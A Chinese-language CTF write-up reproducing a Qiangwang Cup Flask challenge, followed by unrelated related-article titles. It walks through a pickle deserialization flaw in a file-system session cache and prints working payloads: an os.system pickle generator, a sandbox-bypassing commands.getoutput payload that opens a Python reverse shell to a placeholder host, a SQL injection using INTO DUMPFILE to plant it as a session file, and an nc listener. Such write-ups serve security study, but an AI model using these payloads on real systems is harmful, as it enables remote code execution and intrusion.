参考文献:https://xz.aliyun.com/t/2219
http://120.77.209.122/index.php/archives/25/

源码下载下来后,是基于flask框架,先查看路由文件routes.py,里面功能大部分是基于登陆的。

others.py的最后有这样的内容

2.png

load()函数有一个unpkler函数用于反序列化参数(file),如果file可控那么这就是一个反序列化漏洞。

借用下大佬的payload,理解下这个。

用下面的脚本(12.py)进行序列化payload的生成:

import os
from pickle import Pickler as Pkler
import commands
class hhh(object):def __reduce__(self):return (os.system,("whoami",))
evil = hhh()def dump(file):pkler = Pkler(file)pkler.dump(evil)with open("test","wb") as f:dump(f)

测试反序列化漏洞(13.py):

from pickle import Unpickler as Unpkler
from io import open as Open
def LOAD(file):unpkler = Unpkler(file)return Unpkler(file).load()with Open("test","rb") as f:LOAD(f)

执行会12.py后,会在12.py的同级目录下生成test,执行13.py会显示出用户信息

全局搜索load()函数,发现它在Mycache.pyFileSystemCache类中有多次引用。(代码太长了,贴下有用的)

2.png

跟入_get_filename方法

2.png

可以看到将传入的字符串key进行MD5,并将其返回。通过全局搜索,发现在Mysession.py的open_session中调用了key

2.png

1.png

其中self.key_prefixbdwsessions,因此假设cookie中的sesssion值为pleated,则self.key_prefix + sid即为bdwsessionspleated,然后这串字符串进行MD5得到的结果0ab5423aafb316e9c299e0bb853d0c11。这样就可以控制file了。

攻击流程
①本地生成序列化文件,并且进行十六进制编码
②通过第一关的sql注入,将本地生成的payload,写入服务器上的session文件,指定文件名为MD5(bdwsessionspleated),这样我们在访问/index的时候把cookie中的session值改为pleated,触发open_session中的self.cache.get就可以进行反序列化攻击了

沙箱逃逸
源码还设置了沙箱/黑名单来防止某些函数的执行,比如前面的os.system就被禁用了

2.png

此处过滤了大多数函数,但是commands.getoutput和subprocess.Popen()并没有过滤,payload用的是commands.getoutput

import cPickle
import commandsclass Exp(object):def __reduce__(self):return (commands.getoutput,("python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"yourip\",port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'",))
e = Exp()
poc = cPickle.dumps(e)
print  '0x'+poc.encode('hex')

在注册的邮箱处填入:

test12'/**/union/**/select/**/0x63636f....../**/into/**/dumpfile/**/'/tmp/ffff/0ab5423aafb316e9c299e0bb853d0c11'#@test12.com

注册后出现Please use a different email address.。说明写入成功
然后访问http://39.107.32.29/:20000/index
抓包修改session值为pleated

反弹shell

nc -l -p 8181 -vvv

查看flag即可。

复现强网杯python is the best language 2相关推荐

  1. [强网杯2021]XBUUCTF[QWB2021 Quals]popmaster复现记录

    给自动化代码审计的大佬跪了. 出题人写的WP在这里:强网杯[pop_master]与[陀那多]赛题的出题记录 复现可以到BUUCTF,启动[QWB2021 Quals]popmaster这道题就ok. ...

  2. 2020强网杯部分题目复现

    本文目录 前言 强网先锋 Funhash 主动 upload web辅助 miscstudy 总结 前言 代码烂,游戏菜,天天等着大佬带.这次做出来三道题,无缘线下赛了,看来以后要找个大腿抱着才行(开 ...

  3. 强网杯2021 misc 复现

    对强网杯BlueTeaming.ISO1995.CipherMan.Threebody的复现 (纯萌新学步) 可以参考mumuzi大佬的wp https://blog.csdn.net/qq_4288 ...

  4. 【Reverse】2022 强网杯 game

    [Reverse]2022 强网杯 game 前言 复现一下这题,因为手头有环境可以学学.强网的时候根本没看. backup还原 直接GitHub的链接 可以还原出apk 摸瓜分析 在线网站分析 发现 ...

  5. [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master

    强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...

  6. 强网杯Web部分review

    0x01 上个月强网杯结束,看了一下Web题目,代码审计及php 反序列化等.本着学习的态度,试着本地复现一下.靶机下载:https://github.com/glzjin/qwb_2019_uplo ...

  7. 强网杯2019(高明的黑客强网先锋上单)

    强网杯2019(高明的黑客&强网先锋上单) 前言 这里主要是对强网杯web中高明的黑客和上单两道题进行一个复现回顾 再次感谢大佬提供的场景复现:https://www.zhaoj.in/rea ...

  8. 2019强网杯crypto writeup

    本次write包含以下题目 copperstudy randomstudy 强网先锋-辅助 copperstudy 题目描述 nc 119.3.245.36 12345 连上去返回 [+]proof: ...

  9. 强网杯2018 - nextrsa - Writeup

    强网杯2018 - nextrsa - Writeup 原文地址:M4x@10.0.0.55 所有代码均已上传至我的github 俄罗斯套娃一样的rsa题目,基本把我见过的rsa套路出了一遍,值得记录 ...

最新文章

  1. 微博polg什么意思_贾磊:广东发微博给CBA造成了负面影响 方硕的意思可能没表达清楚...
  2. 使用Vsftpd服务传输文件
  3. 选择排序的思想及其实现
  4. eclipse查看jar包中class的中文注释乱码问题的解决
  5. Windows中断那些事儿
  6. java做橡皮擦效果_HTML5 canvas橡皮擦擦拭效果
  7. 关于房屋的风水学整理
  8. grep 和 sed:linux经常使用工具 amp; 基本正則表達式
  9. ionic 父子组件传值
  10. JS-两个空数组为什么不相等?
  11. Django实战(一)——教育网站
  12. kvm系列之四:热添加技术
  13. Repast HPC1.0.1实例运行总结
  14. 蔡学镛:架构师最重视的文档 转
  15. 【机器学习】python实现非线性回归(以中国1960-2014GDP为例)
  16. 供应链金融产品业务全揭秘
  17. 如何利用QQ有效推广
  18. 内存系列三:内存初始化浅析
  19. centos7 安装 oceanbase 单机版测试
  20. 电影与幸福感期末答案和平时测试答案

热门文章

  1. 【iCore1S 双核心板_FPGA】例程十二:基于单口RAM的ARM+FPGA数据存取实验
  2. 第35届MPD软件工作坊深圳站圆满落幕
  3. (cljs/run-at (JSVM. :browser) 搭建刚好可用的开发环境!)
  4. 【转】C#调用WebService实例和开发
  5. 【BZOJ】4001: [TJOI2015]概率论
  6. Jacoco的原理(各个覆盖率的解释)
  7. matlab使用常犯的错误
  8. Windows Mobile 5
  9. matlab 对三维图像旋转,求助,二维图像如何绕轴旋转成为三维图像
  10. android 避内存溢出,Android避免内存溢出(Out of Memory)方法总结